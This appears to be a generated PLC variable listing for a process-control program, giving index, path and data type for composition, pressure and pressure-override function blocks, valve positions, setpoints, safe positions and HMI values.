+100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +108;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +109;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +120;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +121;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +136;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +137;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +138;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +139;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +141;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +144;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +156;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +157;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +158;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +159;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +160;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +162;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +165;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +171;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +180;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +182;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +191;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +193;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +202;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +205;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +214;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +221;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +222;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +223;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +224;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +225;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +226;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +227;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +228;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +231;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +232;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +233;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +234;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +235;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +236;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +237;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +238;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +239;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +240;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +241;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +242;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +243;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +245;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +246;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; 